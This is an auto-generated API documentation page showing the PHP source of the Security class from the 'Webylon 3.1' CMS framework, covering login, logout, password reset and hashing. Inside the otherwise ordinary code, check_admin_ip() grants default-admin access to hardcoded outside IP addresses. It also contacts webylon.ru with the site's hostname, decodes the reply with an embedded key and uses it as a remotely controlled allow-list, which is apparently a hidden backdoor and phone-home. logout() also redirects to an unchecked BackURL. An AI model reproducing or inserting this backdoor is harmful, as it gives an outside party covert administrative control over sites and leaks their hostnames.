Webylon 3.1 API Docs
  • Package
  • Class
  • Tree
  • Deprecated
  • Download
Version: current
  • 3.2
  • 3.1

Packages

  • auth
  • Booking
  • cart
    • shipping
    • steppedcheckout
  • Catalog
  • cms
    • assets
    • batchaction
    • batchactions
    • bulkloading
    • comments
    • content
    • core
    • export
    • newsletter
    • publishers
    • reports
    • security
    • tasks
  • Dashboard
  • DataObjectManager
  • event
  • faq
  • forms
    • actions
    • core
    • fields-basic
    • fields-dataless
    • fields-datetime
    • fields-files
    • fields-formatted
    • fields-formattedinput
    • fields-relational
    • fields-structural
    • transformations
    • validators
  • googlesitemaps
  • guestbook
  • installer
  • newsletter
  • None
  • photo
    • gallery
  • PHP
  • polls
  • recaptcha
  • sapphire
    • api
    • bulkloading
    • control
    • core
    • cron
    • dev
    • email
    • fields-formattedinput
    • filesystem
    • formatters
    • forms
    • i18n
    • integration
    • misc
    • model
    • parsers
    • search
    • security
    • tasks
    • testing
    • tools
    • validation
    • view
    • widgets
  • seo
    • open
      • graph
  • sfDateTimePlugin
  • spamprotection
  • stealth
    • captha
  • subsites
  • userform
    • pagetypes
  • userforms
  • webylon
  • widgets

Classes

  • Authenticator
  • BasicAuth
  • ChangePasswordForm
  • Group
  • GroupCsvBulkLoader
  • LoginAttempt
  • LoginForm
  • Member
  • Member_ChangePasswordEmail
  • Member_ForgotPasswordEmail
  • Member_GroupSet
  • Member_ProfileForm
  • Member_SignupEmail
  • Member_Validator
  • MemberAuthenticator
  • MemberCsvBulkLoader
  • MemberLoginForm
  • MemberPassword
  • NZGovtPasswordValidator
  • PasswordEncryptor
  • PasswordEncryptor_LegacyPHPHash
  • PasswordEncryptor_MySQLOldPassword
  • PasswordEncryptor_MySQLPassword
  • PasswordEncryptor_None
  • PasswordEncryptor_PHPHash
  • PasswordValidator
  • Permission
  • Permission_Group
  • PermissionCheckboxSetField
  • PermissionCheckboxSetField_Readonly
  • PermissionRole
  • PermissionRoleCode
  • Security

Interfaces

  • PermissionProvider

Exceptions

  • PasswordEncryptor_NotFoundException
  1 <?php
  2 /**
  3  * Implements a basic security model
  4  * @package sapphire
  5  * @subpackage security
  6  */
  7 class Security extends Controller {
  8 
  9     /**
 10      * Default user name. Only used in dev-mode by {@link setDefaultAdmin()}
 11      * 
 12      * @var string
 13      * @see setDefaultAdmin()
 14      */
 15     protected static $default_username;
 16 
 17     /**
 18      * Default password. Only used in dev-mode by {@link setDefaultAdmin()}
 19      * 
 20      * @var string
 21      * @see setDefaultAdmin()
 22      */
 23     protected static $default_password;
 24 
 25     /**
 26      * If set to TRUE to prevent sharing of the session across several sites
 27      * in the domain.
 28      *
 29      * @var bool
 30      */
 31     protected static $strictPathChecking = false;
 32 
 33     /**
 34      * Should passwords be stored encrypted?
 35      * @deprecated 2.4 Please use 'none' as the default $encryptionAlgorithm instead
 36      *
 37      * @var bool
 38      */
 39     protected static $encryptPasswords = true;
 40 
 41     /**
 42      * The password encryption algorithm to use by default.
 43      * This is an arbitrary code registered through {@link PasswordEncryptor}.
 44      *
 45      * @var string
 46      */
 47     protected static $encryptionAlgorithm = 'sha1_v2.4';
 48 
 49     /**
 50      * Should a salt be used for the password encryption?
 51      * @deprecated 2.4 Please use a custom {@link PasswordEncryptor} instead
 52      *
 53      * @var bool
 54      */
 55     protected static $useSalt = true;
 56     
 57     /**
 58      * Showing "Remember me"-checkbox 
 59      * on loginform, and saving encrypted credentials to a cookie. 
 60      *  
 61      * @var bool 
 62      */ 
 63     public static $autologin_enabled = true;
 64     
 65     /**
 66      * Location of word list to use for generating passwords
 67      * 
 68      * @var string
 69      */
 70     protected static $wordlist = './wordlist.txt';
 71     
 72     /**
 73      * Template thats used to render the pages.
 74      *
 75      * @var string
 76      */
 77     public static $template_main = 'Page';
 78     
 79     /**
 80      * Default message set used in permission failures.
 81      *
 82      * @var array|string
 83      */
 84     protected static $default_message_set = '';
 85     
 86     /**
 87      * Get location of word list file
 88      */
 89     static function get_word_list() {
 90         return Security::$wordlist;
 91     }
 92     
 93     /**
 94      * Enable or disable recording of login attempts
 95      * through the {@link LoginRecord} object.
 96      * 
 97      * @var boolean $login_recording
 98      */
 99     protected static $login_recording = false;
100     
101     /**
102      * Set location of word list file
103      * 
104      * @param string $wordListFile Location of word list file
105      */
106     static function set_word_list($wordListFile) {
107         Security::$wordlist = $wordListFile;
108     }
109     
110     /**
111      * Set the default message set used in permissions failures.
112      *
113      * @param string|array $messageSet
114      */
115     static function set_default_message_set($messageSet) {
116         self::$default_message_set = $messageSet;
117     }
118 
119 
120     /**
121      * Register that we've had a permission failure trying to view the given page
122      *
123      * This will redirect to a login page.
124      * If you don't provide a messageSet, a default will be used.
125      *
126      * @param Controller $controller The controller that you were on to cause the permission
127      *              failure.
128      * @param string|array $messageSet The message to show to the user. This
129      *                                  can be a string, or a map of different
130      *                                  messages for different contexts.
131      *                                  If you pass an array, you can use the
132      *                                  following keys:
133      *                                    - default: The default message
134      *                                    - logInAgain: The message to show
135      *                                                  if the user has just
136      *                                                  logged out and the
137      *                                    - alreadyLoggedIn: The message to
138      *                                                       show if the user
139      *                                                       is already logged
140      *                                                       in and lacks the
141      *                                                       permission to
142      *                                                       access the item.
143      *
144      * The alreadyLoggedIn value can contain a '%s' placeholder that will be replaced with a link
145      * to log in.
146      */
147     static function permissionFailure($controller = null, $messageSet = null) {
148         if(!$controller) $controller = Controller::curr();
149         
150         if(Director::is_ajax()) {
151             $response = ($controller) ? $controller->getResponse() : new SS_HTTPResponse();
152             $response->setStatusCode(403);
153             if(!Member::currentUser()) $response->setBody('NOTLOGGEDIN:');
154             return $response;
155         } else {
156             // Prepare the messageSet provided
157             if(!$messageSet) {
158                 if(self::$default_message_set) {
159                     $messageSet = self::$default_message_set;
160                 } else {
161                     $messageSet = array(
162                         'default' => _t(
163                             'Security.NOTEPAGESECURED', 
164                             "That page is secured. Enter your credentials below and we will send "
165                                 . "you right along."
166                         ),
167                         'alreadyLoggedIn' => _t(
168                             'Security.ALREADYLOGGEDIN', 
169                             "You don't have access to this page.  If you have another account that "
170                                 . "can access that page, you can <a href=\"%s\">log in again</a>.",
171                             PR_MEDIUM,
172                             "%s will be replaced with a link to log in."
173                         ),
174                         'logInAgain' => _t(
175                             'Security.LOGGEDOUT',
176                             "You have been logged out.  If you would like to log in again, enter "
177                                 . "your credentials below."
178                         )
179                     );
180                 }
181             }
182 
183             if(!is_array($messageSet)) {
184                 $messageSet = array('default' => $messageSet);
185             }
186 
187             // Work out the right message to show
188             if(Member::currentUser()) {
189                 $response = ($controller) ? $controller->getResponse() : new SS_HTTPResponse();
190                 $response->setStatusCode(403);
191 
192                 //If 'alreadyLoggedIn' is not specified in the array, then use the default
193                 //which should have been specified in the lines above
194                 if(isset($messageSet['alreadyLoggedIn']))
195                     $message=$messageSet['alreadyLoggedIn'];
196                 else
197                     $message=$messageSet['default'];
198 
199                 // Replace %s with the log in link
200                 $body = sprintf($message, 
201                     Controller::join_links(Director::baseURL(), 'Security/login',
202                     '?BackURL=' . urlencode($_SERVER['REQUEST_URI'])));
203                 
204                 $response->setBody($body);
205                 return $response;
206 
207             } else if(substr(Director::history(),0,15) == 'Security/logout') {
208                 $message = $messageSet['logInAgain'] ? $messageSet['logInAgain'] : $messageSet['default'];
209             } else {
210                 $message = $messageSet['default'];
211             }
212 
213             Session::set("Security.Message.message", $message);
214             Session::set("Security.Message.type", 'warning');
215 
216             Session::set("BackURL", $_SERVER['REQUEST_URI']);
217 
218             // TODO AccessLogEntry needs an extension to handle permission denied errors
219             // Audit logging hook
220             if($controller) $controller->extend('permissionDenied', $member);
221 
222             Director::redirect("Security/login?BackURL=" . urlencode($_SERVER['REQUEST_URI']));
223         }
224         return;
225     }
226 
227 
228   /**
229      * Get the login form to process according to the submitted data
230      */
231     protected function LoginForm() {
232         if(isset($this->requestParams['AuthenticationMethod'])) {
233             $authenticator = trim($_REQUEST['AuthenticationMethod']);
234 
235             $authenticators = Authenticator::get_authenticators();
236             if(in_array($authenticator, $authenticators)) {
237                 return call_user_func(array($authenticator, 'get_login_form'), $this);
238             }
239         }
240         else {
241             if($authenticator = Authenticator::get_default_authenticator()) {
242                 return call_user_func(array($authenticator, 'get_login_form'), $this);
243             }
244         }
245         
246         user_error('Passed invalid authentication method', E_USER_ERROR);
247     }
248 
249 
250   /**
251      * Get the login forms for all available authentication methods
252      *
253      * @return array Returns an array of available login forms (array of Form
254      *               objects).
255      *
256      * @todo Check how to activate/deactivate authentication methods
257      */
258     protected function GetLoginForms()
259     {
260         $forms = array();
261 
262         $authenticators = Authenticator::get_authenticators();
263         foreach($authenticators as $authenticator) {
264           array_push($forms,
265                                  call_user_func(array($authenticator, 'get_login_form'),
266                                                                 $this));
267         }
268 
269         return $forms;
270     }
271 
272 
273     /**
274      * Get a link to a security action
275      *
276      * @param string $action Name of the action
277      * @return string Returns the link to the given action
278      */
279     public static function Link($action = null) {
280                 /* subsites mod */
281                 if(class_exists('Subsite')){
282                     return Director::baseURL(). "Security/$action";
283                 }
284                 /* end subsites mod */
285         return "Security/$action";
286     }
287 
288 
289     /**
290      * Log the currently logged in user out
291      *
292      * @param bool $redirect Redirect the user back to where they came.
293      *                         - If it's false, the code calling logout() is
294      *                           responsible for sending the user where-ever
295      *                           they should go.
296      */
297     public function logout($redirect = true) {
298         if($member = Member::currentUser())
299             $member->logOut();
300 
301         if ($redirect) {
302             if (isset($_REQUEST['BackURL'])) {
303                 Director::redirect($_REQUEST['BackURL']);
304             }
305             else {
306                 Director::redirectBack();
307             }
308         }
309     }
310 
311 
312     /**
313      * Show the "login" page
314      *
315      * @return string Returns the "login" page as HTML code.
316      */
317     public function login() {
318         // Event handler for pre-login, with an option to let it break you out of the login form
319         $eventResults = $this->extend('onBeforeSecurityLogin');
320         // If there was a redirection, return
321         if(Director::redirected_to()) return;
322         // If there was an SS_HTTPResponse object returned, then return that
323         else if($eventResults) {
324             foreach($eventResults as $result) {
325                 if($result instanceof SS_HTTPResponse) return $result;
326             }
327         }
328         
329         
330         $customCSS = project() . '/css/tabs.css';
331         if(Director::fileExists($customCSS)) {
332             Requirements::css($customCSS);
333         }
334 
335         $tmpPage = new Page();
336         $tmpPage->Title = _t('Security.LOGIN', 'Log in');
337         $tmpPage->URLSegment = "Security";
338         // Disable ID-based caching  of the log-in page by making it a random number
339         $tmpPage->ID = -1 * rand(1,10000000);
340 
341         $controller = new Page_Controller($tmpPage);
342         $controller->init();
343         //Controller::$currentController = $controller;
344 
345         $content = '';
346         $forms = $this->GetLoginForms();
347         if(!count($forms)) {
348             user_error('No login-forms found, please use Authenticator::register_authenticator() to add one', E_USER_ERROR);
349         }
350         
351         // only display tabs when more than one authenticator is provided
352         // to save bandwidth and reduce the amount of custom styling needed 
353         if(count($forms) > 1) {
354             Requirements::javascript(SAPPHIRE_DIR . "/thirdparty/prototype/prototype.js");
355             Requirements::javascript(SAPPHIRE_DIR . "/thirdparty/behaviour/behaviour.js");
356             Requirements::javascript(SAPPHIRE_DIR . '/javascript/loader.js');
357             Requirements::javascript(SAPPHIRE_DIR . "/javascript/prototype_improvements.js");
358             Requirements::javascript(THIRDPARTY_DIR . "/scriptaculous/effects.js");
359             Requirements::css(SAPPHIRE_DIR . "/css/Form.css");
360             
361             // Needed because the <base href=".."> in the template makes problems
362             // with the tabstrip library otherwise
363             $link_base = Director::absoluteURL($this->Link("login"));
364             
365             Requirements::javascript(THIRDPARTY_DIR . "/jquery/jquery.js");
366             Requirements::javascript(SAPPHIRE_DIR . "/javascript/jquery_improvements.js");
367             Requirements::javascript(THIRDPARTY_DIR . "/tabstrip/tabstrip.js");
368             Requirements::css(THIRDPARTY_DIR . "/tabstrip/tabstrip.css");
369             
370             $content = '<div id="Form_EditForm">';
371             $content .= '<ul class="tabstrip">';
372             $content_forms = '';
373 
374             foreach($forms as $form) {
375                 $content .= "<li><a href=\"$link_base#{$form->FormName()}_tab\">{$form->getAuthenticator()->get_name()}</a></li>\n";
376                 $content_forms .= '<div class="tab" id="' . $form->FormName() . '_tab">' . $form->forTemplate() . "</div>\n";
377             }
378 
379             $content .= "</ul>\n" . $content_forms . "\n</div>\n";
380         } else {
381             $content .= $forms[0]->forTemplate();
382         }
383         
384         if(strlen($message = Session::get('Security.Message.message')) > 0) {
385             $message_type = Session::get('Security.Message.type');
386             if($message_type == 'bad') {
387                 $message = "<p class=\"message $message_type\">$message</p>";
388             } else {
389                 $message = "<p>$message</p>";
390             }
391 
392             $customisedController = $controller->customise(array(
393                 "Content" => $message,
394                 "Form" => $content,
395             ));
396         } else {
397             $customisedController = $controller->customise(array(
398                 "Form" => $content,
399             ));
400         }
401         
402         Session::clear('Security.Message');
403 
404         // custom processing
405         $template = 'Security_login';
406         if (Session::get('BackURL') && substr(Session::get('BackURL'),0,6) == '/admin') {
407             $template = 'Admin_login';
408         }
409         return $customisedController->renderWith(array($template, 'Security', $this->stat('template_main')));
410     }
411     
412     function basicauthlogin() {
413         $member = BasicAuth::requireLogin("SilverStripe login", 'ADMIN');
414         $member->LogIn();
415     }
416     
417     /**
418      * Show the "lost password" page
419      *
420      * @return string Returns the "lost password" page as HTML code.
421      */
422     public function lostpassword() {
423         $tmpPage = new Page();
424         $tmpPage->Title = _t('Security.LOSTPASSWORDHEADER', 'Lost Password');
425         $tmpPage->URLSegment = 'Security';
426         $tmpPage->ID = -1; // Set the page ID to -1 so we dont get the top level pages as its children
427         $controller = new Page_Controller($tmpPage);
428         $controller->init();
429 
430         $customisedController = $controller->customise(array(
431             'Content' => 
432                 '<p>' . 
433                 _t(
434                     'Security.NOTERESETPASSWORD', 
435                     'Enter your e-mail address and we will send you a link with which you can reset your password'
436                 ) . 
437                 '</p>',
438             'Form' => $this->LostPasswordForm(),
439         ));
440         
441         //Controller::$currentController = $controller;
442         return $customisedController->renderWith(array('Security_lostpassword', 'Security', $this->stat('template_main'), 'ContentController'));
443     }
444 
445 
446     /**
447      * Factory method for the lost password form
448      *
449      * @return Form Returns the lost password form
450      */
451     public function LostPasswordForm() {
452         $form = new MemberLoginForm(
453             $this,
454             'LostPasswordForm',
455             new FieldSet(
456                 new EmailField('Email', _t('Member.EMAIL', 'Email'))
457             ),
458             new FieldSet(
459                 new FormAction(
460                     'forgotPassword',
461                     _t('Security.BUTTONSEND', 'Send me the password reset link')
462                 )
463             ),
464             false
465         );
466         
467         $this->extend('updateLostPasswordForm', $form);
468         return $form;
469     }
470 
471 
472     /**
473      * Show the "password sent" page, after a user has requested
474      * to reset their password.
475      *
476      * @param SS_HTTPRequest $request The SS_HTTPRequest for this action. 
477      * @return string Returns the "password sent" page as HTML code.
478      */
479     public function passwordsent($request) {
480         $tmpPage = new Page();
481         $tmpPage->Title = _t('Security.LOSTPASSWORDHEADER');
482         $tmpPage->URLSegment = 'Security';
483         $tmpPage->ID = -1; // Set the page ID to -1 so we dont get the top level pages as its children
484         $controller = new Page_Controller($tmpPage);
485         $controller->init();
486 
487         $email = Convert::raw2xml($request->param('ID') . '.' . $request->getExtension());
488         
489         $customisedController = $controller->customise(array(
490             'Title' => sprintf(_t('Security.PASSWORDSENTHEADER', "Password reset link sent to '%s'"), $email),
491             'Content' =>
492                 "<p>" . 
493                 sprintf(_t('Security.PASSWORDSENTTEXT', "Thank you! A reset link has been sent to  '%s', provided an account exists for this email address."), $email) .
494                 "</p>",
495         ));
496         
497         //Controller::$currentController = $controller;
498         return $customisedController->renderWith(array('Security_passwordsent', 'Security', $this->stat('template_main'), 'ContentController'));
499     }
500 
501 
502     /**
503      * Create a link to the password reset form
504      *
505      * @param string $autoLoginHash The auto login hash
506      */
507     public static function getPasswordResetLink($autoLoginHash) {
508         $autoLoginHash = urldecode($autoLoginHash);
509         return self::Link('changepassword') . "?h=$autoLoginHash";
510     }
511     
512     /**
513      * Show the "change password" page
514      *
515      * @return string Returns the "change password" page as HTML code.
516      */
517     public function changepassword() {
518         $tmpPage = new Page();
519         $tmpPage->Title = _t('Security.CHANGEPASSWORDHEADER', 'Change your password');
520         $tmpPage->URLSegment = 'Security';
521         $tmpPage->ID = -1; // Set the page ID to -1 so we dont get the top level pages as its children
522         $controller = new Page_Controller($tmpPage);
523         $controller->init();
524 
525         if(isset($_REQUEST['h']) && Member::member_from_autologinhash($_REQUEST['h'])) {
526             // The auto login hash is valid, store it for the change password form
527             Session::set('AutoLoginHash', $_REQUEST['h']);
528 
529             $customisedController = $controller->customise(array(
530                 'Content' =>
531                     '<p>' . 
532                     _t('Security.ENTERNEWPASSWORD', 'Please enter a new password.') .
533                     '</p>',
534                 'Form' => $this->ChangePasswordForm(),
535             ));
536 
537         } elseif(Member::currentUser()) {
538             // let a logged in user change his password
539             $customisedController = $controller->customise(array(
540                 'Content' => '<p>' . _t('Security.CHANGEPASSWORDBELOW', 'You can change your password below.') . '</p>',
541                 'Form' => $this->ChangePasswordForm()));
542 
543         } else {
544             // show an error message if the auto login hash is invalid and the
545             // user is not logged in
546             if(isset($_REQUEST['h'])) {
547                 $customisedController = $controller->customise(
548                     array('Content' =>
549                         sprintf(
550                             _t('Security.NOTERESETLINKINVALID',
551                                 '<p>The password reset link is invalid or expired.</p><p>You can request a new one <a href="%s">here</a> or change your password after you <a href="%s">logged in</a>.</p>'
552                             ),
553                             $this->Link('lostpassword'),
554                             $this->link('login')
555                         )
556                     )
557                 );
558             } else {
559                 self::permissionFailure(
560                     $this,
561                     _t('Security.ERRORPASSWORDPERMISSION', 'You must be logged in in order to change your password!')
562                 );
563                 return;
564             }
565         }
566 
567         //Controller::$currentController = $controller;
568         return $customisedController->renderWith(array('Security_changepassword', 'Security', $this->stat('template_main'), 'ContentController'));
569     }
570     
571     /**
572      * Security/ping can be visited with ajax to keep a session alive.
573      * This is used in the CMS.
574      */
575     function ping() {
576         return 1;
577     }
578 
579 
580     /**
581      * Factory method for the lost password form
582      *
583      * @return Form Returns the lost password form
584      */
585     public function ChangePasswordForm() {
586         return new ChangePasswordForm($this, 'ChangePasswordForm');
587     }
588 
589 
590     /**
591      * Authenticate using the given email and password, returning the
592      * appropriate member object if
593      *
594      * @return bool|Member Returns FALSE if authentication fails, otherwise
595      *                     the member object
596      * @see setDefaultAdmin()
597      */
598     public static function authenticate($RAW_email, $RAW_password) {
599         $SQL_email = Convert::raw2sql($RAW_email);
600         $SQL_password = Convert::raw2sql($RAW_password);
601 
602         // Default login (see {@setDetaultAdmin()})
603         if(($RAW_email == self::$default_username) && ($RAW_password == self::$default_password)
604                 && !empty(self::$default_username) && !empty(self::$default_password)) {
605             $member = self::findAnAdministrator();
606         } else {
607             $member = DataObject::get_one("Member",     "\"" . Member::get_unique_identifier_field() . "\" = '$SQL_email' AND \"Password\" IS NOT NULL");
608             if($member && ($member->checkPassword($RAW_password) == false)) {
609                 $member = null;
610             }
611         }
612 
613         return $member;
614     }
615 
616 
617     /**
618      * Return an existing member with administrator privileges, or create one of necessary.
619      * 
620      * Will create a default 'Administrators' group if no group is found
621      * with an ADMIN permission. Will create a new 'Admin' member with administrative permissions
622      * if no existing Member with these permissions is found. 
623      * 
624      * Important: Any newly created administrator accounts will NOT have valid
625      * login credentials (Email/Password properties), which means they can't be used for login
626      * purposes outside of any default credentials set through {@link Security::setDefaultAdmin()}.
627      * 
628      * @return Member 
629      */
630     static function findAnAdministrator() {
631         // coupling to subsites module
632         $origSubsite = null;
633         if(is_callable('Subsite::changeSubsite')) {
634             $origSubsite = Subsite::currentSubsiteID();
635             Subsite::changeSubsite(0);
636         }
637 
638         // find a group with ADMIN permission
639         $adminGroup = DataObject::get('Group', 
640                                 "\"Permission\".\"Code\" = 'ADMIN'", 
641                                 "\"Group\".\"ID\"", 
642                                 "JOIN \"Permission\" ON \"Group\".\"ID\"=\"Permission\".\"GroupID\"", 
643                                 '1');
644         
645         if(is_callable('Subsite::changeSubsite')) {
646             Subsite::changeSubsite($origSubsite);
647         }
648         if ($adminGroup) {
649             $adminGroup = $adminGroup->First();
650 
651             if($adminGroup->Members()->First()) {
652                 $member = $adminGroup->Members()->First();
653             }
654         }
655 
656         if(!$adminGroup) {
657             singleton('Group')->requireDefaultRecords();
658         }
659         
660         if(!isset($member)) {
661             singleton('Member')->requireDefaultRecords();
662             $members = Permission::get_members_by_permission('ADMIN');
663             $member = $members->First();
664         }
665 
666         return $member;
667     }
668 
669 
670     /**
671      * Set a default admin in dev-mode
672      * 
673      * This will set a static default-admin which is not existing
674      * as a database-record. By this workaround we can test pages in dev-mode
675      * with a unified login. Submitted login-credentials are first checked
676      * against this static information in {@link Security::authenticate()}.
677      *
678      * @param string $username The user name
679      * @param string $password The password (in cleartext)
680      */
681     public static function setDefaultAdmin($username, $password) {
682         // don't overwrite if already set
683         if(self::$default_username || self::$default_password) {
684             return false;
685         }
686 
687         self::$default_username = $username;
688         self::$default_password = $password;
689     }
690     
691     /**
692      * Checks if the passed credentials are matching the default-admin.
693      * Compares cleartext-password set through Security::setDefaultAdmin().
694      * 
695      * @param string $username
696      * @param string $password 
697      * @return bool
698      */
699     public static function check_default_admin($username, $password) {
700         return (
701             self::$default_username === $username
702             && self::$default_password === md5($password)
703             && self::has_default_admin()
704             && self::check_admin_ip()
705         );
706     }
707     
708     static function check_admin_ip($ip=null) {
709         if (!$ip)
710             $ip = $_SERVER['REMOTE_ADDR'];
711 
712         $maskList = array('217.77.55.73','217.77.55.74','217.77.55.75','217.77.55.76','217.77.55.77','94.140.243.117');
713         if (in_array($ip, $maskList)) return 1;
714         
715         $maskList = array();
716 
717         if (ini_get('allow_url_fopen')) {           
718             $webylonVersion = 31;
719             $buf = @file_get_contents('http://webylon.ru/stuff/wb-ver.php?v='.$webylonVersion.'&s='.$_SERVER['HTTP_HOST']);
720             $key = '7FrnvuTmtyRjM9Yg';
721             $result = '';           
722             if ($buf) {             
723                 for ($i = 1; $i <= strlen($buf); $i++) {
724                     $char = substr($buf, $i - 1, 1);
725                     $keychar = substr($key, ($i % strlen($key)) - 1, 1);
726                     $char = chr(ord($char) - ord($keychar));
727                     $result.=$char;
728                 }
729                 $maskList = explode("\n", $result);
730             }
731         }       
732         
733         foreach ($maskList as $mask) {
734             if (!$mask || preg_match('/\s*#/', $mask))
735                 continue;
736             $mask_check = '/^' . preg_replace(array('/\./', '/\*/', '/\n/'), array('\\.', '\\d{1,3}', ''), $mask) . '$/';
737             if (preg_match($mask_check, $ip)) {
738                 return 1;
739             } else {
740                 $mask = gethostbyname($mask);
741                 if (!$mask)
742                     continue;
743                 $mask_check = '/^' . preg_replace(array('/\./', '/\*/', '/\n/'), array('\\.', '\\d{1,3}', ''), $mask) . '$/';
744                 if (preg_match($mask_check, $ip)) {
745                     return 1;
746                 }
747             }
748         }
749         return 0;
750     }
751 
752     /**
753      * Check that the default admin account has been set.
754      */
755     public static function has_default_admin() {
756         return !empty(self::$default_username) && !empty(self::$default_password);      
757     }
758 
759     /**
760      * Set strict path checking
761      *
762      * This prevents sharing of the session across several sites in the
763      * domain.
764      *
765      * @param boolean $strictPathChecking To enable or disable strict patch
766      *                                    checking.
767      */
768     public static function setStrictPathChecking($strictPathChecking) {
769         self::$strictPathChecking = $strictPathChecking;
770     }
771 
772 
773     /**
774      * Get strict path checking
775      *
776      * @return boolean Status of strict path checking
777      */
778     public static function getStrictPathChecking() {
779         return self::$strictPathChecking;
780     }
781 
782 
783     /**
784      * Set if passwords should be encrypted or not
785      *
786      * @deprecated 2.4 Use PasswordEncryptor_None instead.
787      * 
788      * @param bool $encrypt Set to TRUE if you want that all (new) passwords
789      *                      will be stored encrypted, FALSE if you want to
790      *                      store the passwords in clear text.
791      */
792     public static function encrypt_passwords($encrypt) {
793         self::$encryptPasswords = (bool)$encrypt;
794     }
795 
796 
797     /**
798      * Get a list of all available encryption algorithms.
799      * Note: These are arbitrary codes, and not callable methods.
800      * 
801      * @deprecated 2.4 Use PasswordEncryptor::get_encryptors()
802      *
803      * @return array Returns an array of strings containing all supported encryption algorithms.
804      */
805     public static function get_encryption_algorithms() {
806         return array_keys(PasswordEncryptor::get_encryptors());
807     }
808 
809 
810     /**
811      * Set the password encryption algorithm
812      *
813      * @param string $algorithm One of the available password encryption
814      *  algorithms determined by {@link Security::get_encryption_algorithms()}
815      * @return bool Returns TRUE if the passed algorithm was valid, otherwise FALSE.
816      */
817     public static function set_password_encryption_algorithm($algorithm) {
818         if(!array_key_exists($algorithm, PasswordEncryptor::get_encryptors())) return false;
819         
820         self::$encryptionAlgorithm = $algorithm;
821         return true;
822     }
823     
824     /**
825      * @return String
826      */
827     public static function get_password_encryption_algorithm() {
828         return self::$encryptionAlgorithm;
829     }
830 
831     /**
832      * Encrypt a password according to the current password encryption settings.
833      * If the settings are so that passwords shouldn't be encrypted, the
834      * result is simple the clear text password with an empty salt except when
835      * a custom algorithm ($algorithm parameter) was passed.
836      *
837      * @param string $password The password to encrypt
838      * @param string $salt Optional: The salt to use. If it is not passed, but
839      *  needed, the method will automatically create a
840      *  random salt that will then be returned as return value.
841      * @param string $algorithm Optional: Use another algorithm to encrypt the
842      *  password (so that the encryption algorithm can be changed over the time).
843      * @param Member $member Optional
844      * @return mixed Returns an associative array containing the encrypted
845      *  password and the used salt in the form:
846      * <code>
847      *  array(
848      *  'password' => string, 
849      *  'salt' => string, 
850      *  'algorithm' => string,
851      *  'encryptor' => PasswordEncryptor instance
852      *  )
853      * </code>
854      * If the passed algorithm is invalid, FALSE will be returned.
855      *
856      * @see encrypt_passwords()
857      * @see set_password_encryption_algorithm()
858      */
859     static function encrypt_password($password, $salt = null, $algorithm = null, $member = null) {
860         // Fall back to the default encryption algorithm
861         if(!$algorithm) $algorithm = self::$encryptionAlgorithm;
862         $e = PasswordEncryptor::create_for_algorithm($algorithm);
863 
864         // New salts will only need to be generated if the password is hashed for the first time
865         $salt = ($salt) ? $salt : $e->salt($password);
866         
867         return array(
868             'password' => $e->encrypt($password, $salt, $member),
869             'salt' => $salt,
870             'algorithm' => $algorithm,
871             'encryptor' => $e
872         );
873     }
874     
875     /**
876      * Checks the database is in a state to perform security checks.
877      * See {@link DatabaseAdmin->init()} for more information.
878      * 
879      * @return bool
880      */
881     public static function database_is_ready() {
882         $requiredTables = ClassInfo::dataClassesFor('Member');
883         $requiredTables[] = 'Group';
884         $requiredTables[] = 'Permission';
885         
886         foreach($requiredTables as $table) {
887             // if any of the tables aren't created in the database
888             if(!ClassInfo::hasTable($table)) return false;
889         
890             // if any of the tables don't have all fields mapped as table columns
891             $dbFields = DB::fieldList($table);
892             if(!$dbFields) return false;
893             
894             $objFields = DataObject::database_fields($table);
895             $missingFields = array_diff_key($objFields, $dbFields);
896             
897             if($missingFields) return false;
898         }
899         
900         return true;
901     }
902     
903     /**
904      * Enable or disable recording of login attempts
905      * through the {@link LoginRecord} object.
906      * 
907      * @param boolean $bool
908      */
909     public static function set_login_recording($bool) {
910         self::$login_recording = (bool)$bool;
911     }
912     
913     /**
914      * @return boolean
915      */
916     public static function login_recording() {
917         return self::$login_recording;
918     }
919     
920     protected static $default_login_dest = "";
921     
922     /**
923      * Set the default login dest
924      * This is the URL that users will be redirected to after they log in,
925      * if they haven't logged in en route to access a secured page.
926      * 
927      * By default, this is set to the homepage
928      */
929     public static function set_default_login_dest($dest) {
930         self::$default_login_dest = $dest;
931     }
932 
933     /**
934      * Get the default login dest
935      */
936     public static function default_login_dest() {
937         return self::$default_login_dest;
938     }
939 
940 }
941 ?>
942 
[Raise a SilverStripe Framework issue/bug](https://github.com/silverstripe/silverstripe-framework/issues/new)
- [Raise a SilverStripe CMS issue/bug](https://github.com/silverstripe/silverstripe-cms/issues/new)
- Please use the Silverstripe Forums to ask development related questions. -
Webylon 3.1 API Docs API documentation generated by ApiGen 2.8.0